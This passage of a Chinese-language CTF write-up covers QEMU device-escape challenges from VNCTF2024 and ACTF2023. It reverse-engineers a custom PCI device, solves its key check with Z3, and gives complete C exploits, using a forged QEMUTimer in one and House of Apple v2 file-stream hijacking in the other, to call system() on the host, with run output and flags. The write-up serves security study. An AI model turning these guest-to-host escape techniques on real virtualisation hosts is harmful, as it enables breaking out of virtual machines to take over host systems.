%#lx" , opaque_buf); IMSG ("Leak QemuTimerListGroup[1]..." ); set_off (main_loop_tlg - opaque_buf + 0x8 ); qemu_time_list1 = mmio_readll (0x20 ); DMSG ("qemu_time_list1 : %#lx" , qemu_time_list1); IMSG ("Make fake QEMUTimer in opaque buf...." ); uint64_t fake_qemu_timer = opaque_buf; uint64_t cmd_ptr = opaque_buf + 0x30 ; mmio_writell (0x8 , qemu_time_list1); mmio_writell (0x10 , system_fptr); mmio_writell (0x18 , cmd_ptr); mmio_writell (0x30 , 0x67616c6620746163 ); IMSG ("Change QemuTimerListGroup[1] to opaque buf" ); set_off (qemu_time_list1 - fake_qemu_timer + 0x40 ); mmio_writel (0x30 , fake_qemu_timer); return EXIT_SUCCESS; }
执行函数成功
1 2 3 4 5 6 7 8 9 10 11 12 13 ~ [+] exp.c Prepare mmio... [+] exp.c Leaking elf base... [*] exp.c elf_base : 0x55e4c481e000 [*] exp.c main_loop_tlg : 0x55e4c5cd7480 [*] exp.c system func : 0x55e4c4b30040 [+] exp.c Leaking opaque addr... [*] exp.c opaque : 0x55e4c89d3c30 [*] exp.c opaque_buf : 0x55e4c89d4770 [+] exp.c Leak QemuTimerListGroup[1]... [*] exp.c qemu_time_list1 : 0x55e4c79f5840 [+] exp.c Make fake QEMUTimer in opaque buf.... flag{vnctf2024-test}
Exploit 2 net_bridge_run_helper函数存在一个execv(“/bin/sh”)
1 2 3 4 5 .text:0000000000674291 lea rax, [rbp+argv] .text:0000000000674298 mov rsi, rax ; argv .text:000000000067429B lea rax, aBinSh_0 ; "/bin/sh" .text:00000000006742 A2 mov rdi, rax ; path .text:00000000006742 A5 call _execv
修改MemoryRegion的结构体中的ops劫持控制流🫢!对于 MMIO 而言read/write最终调用ops->read()
或 ops->write()
ACTF2023 qemu playground 逆向(3) && PWN
下载题目:team-s2/ACTF-2023
启动脚本
1 2 3 4 5 6 7 8 9 10 11 #!/bin/sh timeout --foreground 300 ./qemu-system-x86_64 \ -device actf \ -m 128M \ -L ./pc-bios \ -append "console=ttyS0" \ -kernel bzImage \ -initrd rootfs.cpio \ -nographic \ -no-reboot \ -monitor /dev/null
Reverse 使用IDA打开,直接搜索字符串,可以找到actf
1 2 .rodata:000000000098B 9FB 0000000 A C actf-mmio .rodata:000000000098B A05 0000000 A C actf-pmio
交叉引用,可以找到 realize 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 void *__fastcall actf_class_init (const char ***objectClass) { void *devClass; void *pciDevClass; devClass = (void *)object_class_dynamic_cast_assert ( objectClass, "device" , "/home/esifiel/qemu/include/hw/qdev-core.h" , 0x4D u, "DEVICE_CLASS" ); pciDevClass = (void *)object_class_dynamic_cast_assert ( objectClass, "pci-device" , "/home/esifiel/qemu/include/hw/pci/pci_device.h" , 9u , "PCI_DEVICE_CLASS" ); *((_QWORD *)pciDevClass + 22 ) = pci_actf_realize; *((_DWORD *)pciDevClass + 52 ) = 0xAC7F1234 ; *((_BYTE *)pciDevClass + 212 ) = 0x10 ; *((_WORD *)pciDevClass + 107 ) = 0xFF ; *((_QWORD *)devClass + 12 ) |= 0x80 uLL; return pciDevClass; } __int64 __fastcall pci_actf_realize (const char ****object) { const char ****actfState; __int64 v2; __int64 v3; actfState = object_dynamic_cast_assert (object, "actf" , "../hw/misc/actfdev.c" , 0x24 u, "ACTF" ); v2 = (__int64)(actfState + 336 ); v3 = (__int64)actfState; memory_region_init_io ( (__int64)(actfState + 336 ), (__int64)actfState, &mmio_ops, (__int64)actfState, (__int64)"actf-mmio" , 4096LL ); pci_register_bar ((__int64)object, 0 , 0 , v2); memory_region_init_io (v3 + 2960 , v3, &pmio_ops, v3, (__int64)"actf-pmio" , 32LL ); return pci_register_bar ((__int64)object, 1 , 1u , v3 + 2960 ); }
mmio_read/write:rdi一般为一个void类型指针,一般会强转为自定义的PCIDevice。一个buffer数组,读写4个字节。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 __int64 __fastcall actf_mmio_read (__int64 opaque, unsigned __int64 addr, int size) { __int64 result; result = -1LL ; if ( size == 4 && addr <= 0x40 ) return *(unsigned int *)(opaque + addr + 0xA38 ); return result; } void __fastcall actf_mmio_write (__int64 opaque, unsigned __int64 addr, int val, int size) { if ( size == 4 ) { if ( addr > 0x20 ) { if ( addr <= 0x40 ) *(_DWORD *)(opaque + addr + 0xA38 ) = val; } else { *(_DWORD *)(opaque + addr + 0xA38 ) = val; } } }
pmio_read/write,write创建一个线程,启动一个函数,在这里重命名为 xxxx。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 __int64 __fastcall actf_pmio_read (const char ****opaque, unsigned __int64 addr) { const char ****v2; __int64 v3; v2 = object_dynamic_cast_assert (opaque, "actf" , "../hw/misc/actfdev.c" , 0x24 u, "ACTF" ); if ( addr == 1 ) return *((unsigned __int8 *)v2 + 0xA31 ); if ( addr <= 1 ) return *((unsigned __int8 *)v2 + 0xA30 ); v3 = -1LL ; if ( addr - 16 > 0xF || !*((_BYTE *)v2 + 0xA31 ) ) return v3; return *(unsigned int *)((char *)v2[335 ] + (addr & 0xF )); } unsigned __int64 __fastcall actf_pmio_write (const char ****opaque, unsigned __int64 addr, int val) { const char ****v4; __int64 v5; int v6; int v7; __int64 v9; v4 = object_dynamic_cast_assert (opaque, "actf" , "../hw/misc/actfdev.c" , 0x24 u, "ACTF" ); off_11BB7F0 (v4 + 405 , "../hw/misc/actfdev.c" , 116LL ); if ( addr == 1 ) { if ( !*((_BYTE *)v4 + 0xA30 ) ) { *((_BYTE *)v4 + 2608 ) = 1 ; qemu_thread_create ((pthread_t *)v4 + 404 , (__int64)"actf-worker-thread" , (__int64)sub_409F40, (__int64)v4, 1 ); } } else if ( addr > 1 ) { if ( addr - 16 <= 0xF && *((_BYTE *)v4 + 2609 ) ) { v9 = (__int64)v4[335 ]; if ( !v9 ) { v9 = g_malloc (32LL ); v4[335 ] = (const char ***)v9; } *(_DWORD *)(v9 + (addr & 0xF )) = val; } } else { *((_BYTE *)v4 + 2608 ) = 0 ; } return qemu_mutex_unlock ((pthread_mutex_t *)v4 + 81 , (int )"../hw/misc/actfdev.c" , 0x8B u, v5, v6, v7); }
查看相关配置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ~ 00:01.0 Class 0601: 8086:7000 00:04.0 Class 00ff: 1234:ac7f 00:00.0 Class 0600: 8086:1237 00:01.3 Class 0680: 8086:7113 00:03.0 Class 0200: 8086:100e 00:01.1 Class 0101: 8086:7010 00:02.0 Class 0300: 1234:1111 ~ 0x00000000febf1000 0x00000000febf1fff 0x0000000000040200 0x000000000000c040 0x000000000000c05f 0x0000000000040101 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000
重新打包cpio文件,尽量不覆盖原来的文件,我们改个名,使用makefile自动化
1 2 3 4 5 6 7 8 9 10 11 CC := gcc CFLAGS := -no-pie -static SRC := exp.c TARGET := exp $(TARGET) : $(SRC) $(CC) $(CFLAGS) $^ -o $@ strip $@ find . | cpio -ov --format=newc | gzip -9 > ../rootfs.cpio.gz clean: rm -f $(TARGET)
mmio_read/write:读写 0xa38 附近的内容0x0~0x44,读取一下,暂时没发现有用的地方,查看pmio_read 0xa30区域和 ActfState。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 pwndbg> p/x $rdi +$rsi +0xa38 $3 = 0x56327d1bc568pwndbg> tele 0x56327d1bc568 00:0000│ 0x56327d1bc568 ◂— 0x0 ... ↓ 7 skipped pwndbg> tele 0x56327d1bc568-0xa38+0xa30 00:0000│ 0x56327d1bc560 ◂— 0x1234ac7f00000000 01:0008│ 0x56327d1bc568 ◂— 0x0 ... ↓ 6 skipped pwndbg> tele 0x56327d1bc568-0xa38 00:0000│ rdi 0x56327d1bbb30 —▸ 0x56327c433850 —▸ 0x56327c1888d0 —▸ 0x56327c156b10 ◂— 0x560066746361 /* 'actf' */ 01:0008│ 0x56327d1bbb38 —▸ 0x7ff383e92d50 (g_free) ◂— endbr64 02:0010│ 0x56327d1bbb40 —▸ 0x56327d1b86a0 ◂— 0x8 03:0018│ 0x56327d1bbb48 ◂— 0xc /* '\x0c' */ 04:0020│ 0x56327d1bbb50 —▸ 0x56327c437360 —▸ 0x56327c36b930 —▸ 0x56327c1d2260 —▸ 0x56327c1d23e0 ◂— ... 05:0028│ 0x56327d1bbb58 ◂— 0x0 06:0030│ 0x56327d1bbb60 —▸ 0x56327d1b9ef0 ◂— '/machine/peripheral-anon/device[0]' 07:0038│ 0x56327d1bbb68 ◂— 0x1
pmio_read有一个需要0xa31处值为1,因此需要先解决一下。
1 if ( addr - 16 > 0xF || !*((_BYTE *)v2 + 0xA31 ) )
在pmio_write处创建的线程处赋值,某些偏移被强制类型转化了,因此需要看汇编,并且这里使用128为寄存器。变量重命名😢
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 __int64 __fastcall sub_409F40 (const char ****opaque) { const char ****actfState; int actfDW; const char ****_actfState; __m128i *actfBuf0; const __m128i *actfBuf2; __int64 *_stackBuf; int offset; __m128i *__actfBuf0; __int64 *__stackbuf; const __m128i *_actfBuf2; __m128i actfBuf1; char byte1; char v13; __m128i ___actfBuf0; __m128i _____actfBuf1; __int128 v16; __int128 v18; __int128 stackBuf[2 ]; __int64 endStackBuf[2 ]; __int64 v21; __int64 v22; __m128i _actfBuf0; __m128i ___actfBuf1; unsigned __int64 v25; v25 = __readfsqword(0x28 u); actfState = object_dynamic_cast_assert (opaque, "actf" , "../hw/misc/actfdev.c" , 0x24 u, "ACTF" ); actfDW = *((_DWORD *)actfState + 0x28D ); _actfState = actfState; memset (stackBuf, 0 , sizeof (stackBuf)); actfBuf0 = (__m128i *)(actfState + 0x147 ); actfBuf2 = (const __m128i *)(actfState + 0x14B ); _stackBuf = (__int64 *)stackBuf; do { *(_DWORD *)_stackBuf = actfDW; _stackBuf = (__int64 *)((char *)_stackBuf + 4 ); } while ( _stackBuf != endStackBuf ); offset = -(int )actfBuf2; do { __actfBuf0 = &_actfBuf0; __stackbuf = (__int64 *)stackBuf; _actfBuf2 = actfBuf2; actfBuf1 = _mm_loadu_si128((const __m128i *)(_actfState + 0x149 )); _actfBuf0 = _mm_loadu_si128((const __m128i *)(_actfState + 0x147 )); ___actfBuf1 = actfBuf1; do { byte1 = __actfBuf0->m128i_i8[0 ] ^ _actfBuf2->m128i_i8[0 ]; __stackbuf = (__int64 *)((char *)__stackbuf + 1 ); v13 = *((_BYTE *)__stackbuf - 1 ) ^ (offset + (_BYTE)_actfBuf2); _actfBuf2 = (const __m128i *)((char *)_actfBuf2 + 1 ); __actfBuf0 = (__m128i *)((char *)__actfBuf0 + 1 ); *((_BYTE *)__stackbuf - 1 ) = v13; __actfBuf0[-1 ].m128i_i8[15 ] = v13 ^ byte1; } while ( __stackbuf != endStackBuf ); ___actfBuf0 = _mm_load_si128(&_actfBuf0); LOBYTE (offset) = offset + 0x11 ; _____actfBuf1 = _mm_load_si128(&___actfBuf1); *actfBuf0 = _mm_loadu_si128(actfBuf2); actfBuf0[1 ] = _mm_loadu_si128(actfBuf2 + 1 ); *(__m128i *)(_actfState + 331 ) = ___actfBuf0; *(__m128i *)(_actfState + 333 ) = _____actfBuf1; } while ( (_BYTE)offset != 0xAA - (_BYTE)actfBuf2 ); endStackBuf[0 ] = 0xABA29EC2A98DD89A LL; *((_QWORD *)&v16 + 1 ) = (unsigned __int64)_actfState[327 ] ^ 0xABA29EC2A98DD89A LL; endStackBuf[1 ] = 0xBBF1B4AB81B4A9D4 LL; *(_QWORD *)&v16 = actfBuf0->m128i_i64[1 ] ^ 0xBBF1B4AB81B4A9D4 LL; v21 = 0xFB92A48DB386FFA8 LL; v22 = 0xEFB491B8AFB4ABD3 LL; if ( v16 == 0 && !(v21 ^ actfBuf0[1 ].m128i_i64[0 ] | actfBuf0[1 ].m128i_i64[1 ] ^ 0xEFB491B8AFB4ABD3 LL) ) { _actfBuf0.m128i_i64[0 ] = 0x80EF69F1CBD00397 LL; *((_QWORD *)&v18 + 1 ) = (unsigned __int64)_actfState[331 ] ^ 0x80EF69F1CBD00397 LL; _actfBuf0.m128i_i64[1 ] = 0xB2EB07859CDA52D3 LL; *(_QWORD *)&v18 = actfBuf2->m128i_i64[1 ] ^ 0xB2EB07859CDA52D3 LL; ___actfBuf1.m128i_i64[0 ] = 0xEC9E22F5A5A07FA3 LL; ___actfBuf1.m128i_i64[1 ] = 0x4B36DF7B5B655A84 LL; if ( v18 == 0 && !(___actfBuf1.m128i_i64[0 ] ^ actfBuf2[1 ].m128i_i64[0 ] | actfBuf2[1 ].m128i_i64[1 ] ^ 0x4B36DF7B5B655A84 LL) ) { *((_BYTE *)_actfState + 0xA31 ) = 1 ; } } *((_BYTE *)_actfState + 0xA30 ) = 0 ; return 0LL ; }
我们可以提取出最后的数据
1 2 3 4 5 6 7 8 9 10 buf0-20 byte 0xABA29EC2A98DD89A LL0xBBF1B4AB81B4A9D4 LL0xFB92A48DB386FFA8 LL0xEFB491B8AFB4ABD3 LLbuf2-20b yte 0x80EF69F1CBD00397 LL0xB2EB07859CDA52D3 LL0xEC9E22F5A5A07FA3 LL0x4B36DF7B5B655A84 LL
算法简化
1 2 3 4 5 6 7 8 9 10 11 buffer0 = [?] * 0x20 buffer2 = [?] * 0x20 stackBuf = [0x7f , 0xac , 0x34 , 0x12 ] * 8 for i in range (10 ): for j in range (32 ): b1 = buffer0[j] ^ buffer2[j] b2 = stackBuf[j] ^ (i * 0x11 + j) & 0xff ) stackBuf[j] = b2 buffer0[j] = b1 ^ b2 buffer0, buffer2 = buffer2, buffer0
学习使用Z3-Solver解密:Solver add 约束。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 """ buffer0 = [?] * 0x20 buffer2 = [?] * 0x20 stackBuf = [0x7f, 0xac, 0x34, 0x12] * 8 for i in range(10): for j in range(32): b1 = buffer0[j] ^ buffer2[j] b2 = stackBuf[j] ^ (i * 0x11 + j) & 0xff) stackBuf[j] = b2 buffer0[j] = b1 ^ b2 buffer0, buffer2 = buffer2, buffer0 """ from struct import packfrom z3 import *sol = Solver() stackBuf = [0x7f , 0xac , 0x34 , 0x12 ] * 8 buf = [BitVec(f'buf{i} ' , 8 ) for i in range (0x40 )] tmp = [BitVec(f'tmp{i} ' , 8 ) for i in range (0x20 )] order = buf.copy() for i in range (0x40 ): sol.add(buf[i] <= 0x7f ) sol.add(buf[i] >= 0x20 ) ans = [ 0xABA29EC2A98DD89A , 0xBBF1B4AB81B4A9D4 , 0xFB92A48DB386FFA8 , 0xEFB491B8AFB4ABD3 , 0x80EF69F1CBD00397 , 0xB2EB07859CDA52D3 , 0xEC9E22F5A5A07FA3 , 0x4B36DF7B5B655A84 ] byteans = b'' .join([pack("<Q" , num) for num in ans]) for i in range (10 ): for j in range (0x20 ): b1 = buf[j] ^ buf[j + 0x20 ] b2 = stackBuf[j] ^ ((j + 0x11 * i) & 0xFF ) stackBuf[j] = b2 tmp[j] = b2 ^ b1 buf[:0x20 ] = buf[0x20 :] buf[0x20 :] = tmp[:0x20 ] assert len (byteans) == 0x40 for i in range (0x40 ): sol.add(byteans[i] == buf[i]) flag = [] if sol.check() == sat: model = sol.model() for i in order: flag.append(int (f'{model[i]} ' )) print ('' .join(chr (i) for i in flag)) else : print ("[-] no sol" )
Exploit pmio_write 可以在 0xa78
处 malloc(0x20)
,并且向堆内写内容。pmio_read可以读取内容,可以泄露libc
1 2 pwndbg> tele 0x55e880791b30+0xa78 00:0000│ 0x55e8807925a8 —▸ 0x7f712072fde0 ◂— 0x7f71deadbeef
mmio_read/write 存在4字节的越界读写(判断条件是 <= 0x40
正好是A78内容,结合pmio可以写入内容,差不多是任意地址写,但是高4字节是固定的,拿vmmap查看,可以改变libc的内容,并且存在rwx区域
1 2 3 4 5 6 7 8 0x7f7130000000 0x7f716ffff000 rwxp 3ffff000 0 [anon_7f7130000] ... 0x7f7177f7d000 0x7f7177fa5000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6 0x7f7177fa5000 0x7f717813a000 r-xp 195000 28000 /usr/lib/x86_64-linux-gnu/libc.so.6 0x7f717813a000 0x7f7178192000 r--p 58000 1bd000 /usr/lib/x86_64-linux-gnu/libc.so.6 0x7f7178192000 0x7f7178193000 ---p 1000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6 0x7f7178193000 0x7f7178197000 r--p 4000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6 0x7f7178197000 0x7f7178199000 rw-p 2000 219000 /usr/lib/x86_64-linux-gnu/libc.so.6
比较简单利用思路:mmio_write 修改IO_list_all
。使用 house of apple V2,exit调用就退出qemu。
需要找到一段内存来泄露libc,任意位置的读写,需要找到合适的位置,我们根据其泄露的地址寻找一段区域。如下是找到main_arena区域。
1 2 3 4 5 6 7 pwndbg> leakfind $rsp --page_name=filename --max_offset=0x48 --max_depth=6 pwndbg> leakfind 0x7fa420000000 --max_offset=0x10000 --page_name=libc -s 8 -d 3 0x7fa420000000+0x8a0 —▸ 0x7fa470000030+0x870 —▸ 0x7fa4795e6c80 /usr/lib/x86_64-linux-gnu/libc.so.6
知道上面的,在了解一下house of apple v2 原理,差不多可以做出来
_flags
需要获得shell
,前面有两个空格
vtable
设置为_IO_wfile_jumps
地址(加减偏移),使其能成功调用(A+0xd8) = _IO_wfile_overflow
即可
_wide_data
设置为可控堆地址A
,即满足*(fp + 0xa0) = A
_wide_data->_IO_write_base
设置为0
,即满足*(A + 0x18) = 0
_wide_data->_IO_buf_base
设置为0
,即满足*(A + 0x30) = 0
_wide_data->_wide_vtable
设置为可控堆地址B
,即满足*(A + 0xe0) = B
_wide_data->_wide_vtable->doallocate
设置为地址C
用于劫持RIP
,即满足*(B + 0x68) = C
,比如说C为system函数
A,B全为为fake_io_addr,设置一下就行,甚至连偏移都不需要改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/io.h> #include <sys/mman.h> #include <sys/types.h> #define COLOR_GREEN "\033[32m" #define COLOR_RED "\033[31m" #define COLOR_DEFAULT "\033[0m" #define DMSG(fmt, ...) \ dprintf(STDERR_FILENO, "[*] %s\t" fmt "\n" , __FILE__, ##__VA_ARGS__) #define IMSG(fmt, ...) \ dprintf(STDERR_FILENO, COLOR_GREEN "[+] %s\t" fmt "\n" COLOR_DEFAULT, \ __FILE__, ##__VA_ARGS__) #define EMSG(fmt, ...) \ dprintf(STDERR_FILENO, COLOR_RED "[-] %s\t" fmt "\n" COLOR_DEFAULT, \ __FILE__, ##__VA_ARGS__) #define fatal(fmt, ...) \ do { \ EMSG(fmt, ##__VA_ARGS__); \ exit(EXIT_FAILURE); \ } while (0) void *mmio_mem;uint32_t pmio_base = 0xC040 ;const char buf[] = "ACTF{cH3cK_1n_wI7h_B@by_C1ph3r_Te$t_1n_Q3MU_pl4yg3OuNd_1$_EASy!}" ; static inline uint32_t pmio_readb (uint32_t addr) { return inb (pmio_base + addr); } static inline uint32_t pmio_readl (uint32_t addr) { return inl (pmio_base + addr); } static inline uint64_t pmio_readll (uint32_t addr) { uint64_t low, high; high = pmio_readl (addr + 4 ); low = pmio_readl (addr); return (high << 32 ) | (low & 0xffffffff ); } static inline void pmio_writel (uint32_t addr, uint32_t value) { outl (value, pmio_base + addr); } static inline void pmio_writeb (uint32_t addr, uint8_t value) { outb (value, pmio_base + addr); } uint32_t mmio_read (uint32_t addr) { return *((uint32_t *)(mmio_mem + addr)); }static inline void mmio_write (uint32_t addr, uint32_t value) { *(uint32_t *)(mmio_mem + addr) = value; } static inline void arb_write (uint64_t where, uint64_t what) { mmio_write (0x40 , where & 0xffffffff ); pmio_writel (0x10 , what & 0xffffffff ); pmio_writel (0x14 , (what >> 32 ) & 0xffffffff ); } void setup_mmio () { int fd = open ("/sys/devices/pci0000:00/0000:00:04.0/resource0" , O_RDWR | O_SYNC); if (fd == -1 ) { fatal ("Error setup mmio" ); } mmio_mem = mmap (0 , 0x1000 , PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0 ); if (mmio_mem == MAP_FAILED) { fatal ("Error mmap mmio_fd" ); } DMSG ("init mmio" ); } void setup_pmio () { if (iopl (3 ) != 0 ) { fatal ("Error setup pmio: I/O permission is not enough" ); } DMSG ("init pmio" ); } int main () { uint64_t ret; uint64_t high, low; uint64_t leak_main_arena; uint64_t libc_base; IMSG ("Prepare mmio and pmio ..." ); setup_pmio (); setup_mmio (); IMSG ("Write state->buffer..." ); for (int i = 0 ; i < strlen (buf); i += 4 ) { mmio_write (i, *(uint32_t *)(buf + i)); } IMSG ("Write to set 0xA31 to 1..." ); pmio_writeb (1 , 0 ); ret = pmio_readb (1 ); DMSG ("0xA31 : %#lx" , ret); IMSG ("Malloc..." ); pmio_writel (0x10 , 0xdeadbeef ); IMSG ("Leak libc..." ); low = mmio_read (0x40 ); mmio_write (0x40 , (low & 0xff000000 ) + 0x8a0 ); leak_main_arena = pmio_readll (0x10 ); mmio_write (0x40 , leak_main_arena + 0x870 ); libc_base = pmio_readll (0x10 ); DMSG ("leak main_arena : %#lx" , leak_main_arena + 0x870 ); libc_base -= 0x1913c80 ; DMSG ("libc base : %#lx" , libc_base); uint64_t system_fptr = libc_base + 0x1749d70 ; uint64_t IO_wfile_jumps = 0x19100c0 + libc_base; uint64_t IO_list_all = 0x1914680 + libc_base; uint64_t fake_io_addr = leak_main_arena + 0x1000 ; IMSG ("House of apple V2 ..." ); char cmd[0x18 ] = " cat flag 1>&2" ; for (int i = 0 ; i < 0x18 ; i += 8 ) { arb_write (fake_io_addr + i, *(uint64_t *)(cmd + i)); } arb_write (fake_io_addr + 0x18 , 0 ); arb_write (fake_io_addr + 0x28 , 1 ); arb_write (fake_io_addr + 0x30 , 0 ); arb_write (fake_io_addr + 0x68 , system_fptr); arb_write (fake_io_addr + 0xa0 , fake_io_addr); arb_write (fake_io_addr + 0xd8 , IO_wfile_jumps); arb_write (fake_io_addr + 0xe0 , fake_io_addr); arb_write (IO_list_all, fake_io_addr); return EXIT_SUCCESS; }
结果如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ~ [+] exp.c Prepare mmio and pmio ... [*] exp.c init pmio [*] exp.c init mmio [+] exp.c Write state->buffer... [+] exp.c Write to set 0xA31 to 1... [*] exp.c 0xA31 : 0 [+] exp.c Malloc... [+] exp.c Leak libc... [*] exp.c leak main_arena : 0x7f0f680008a0 [*] exp.c libc base : 0x7f0f6d4e9000 [+] exp.c House of apple V2 ... [ 4.651800] exp (53) used greatest stack depth: 14000 bytes left ~ [ 6.480651] ACPI: PM: Preparing to enter system sleep state S5 [ 6.481266] reboot: Power down ACTF{7ry_b4by_q3mu_ch@1leng3_4nd_g3t_b@by_f1ag}
更简单的办法 todo:存在ORW内存区域,可以写shellcode。
MORE
qemu中存在很多函数,有时候泄露libc有时有点多余。
可以在 State 中寻找 MemroyRegion 的 ops
想要符号表,那就自己编译一个。
Qemu8.x之后有个巨大的RWX段:[bi0sCTF 2024]: virto-note
Qemu minitor ctrl + a => c
进入minitor控制台。在monitor控制台中,可以完成很多常规操作,比如添加删除设备 、虚拟机音视频截取 、获取虚拟机运行状态 、更改虚拟机运行时配置 等等。并且可以执行一定的命令
Qemu KVM KVM(Kernal-based Virtual Machine,基于内核的虚拟机)是一个内核模块,可为用户空间程序提供完整的虚拟化基础架构。 它允许一个人运行多个运行未修改的Linux或Windows映像的虚拟机。
KVM的用户空间组件包含在主线QEMU(快速仿真器)中,该QEMU特别处理设备仿真。
CVE todo
ACTF2023 EasyVirtio CVE-2023-3180
CVE-2019-6778
参考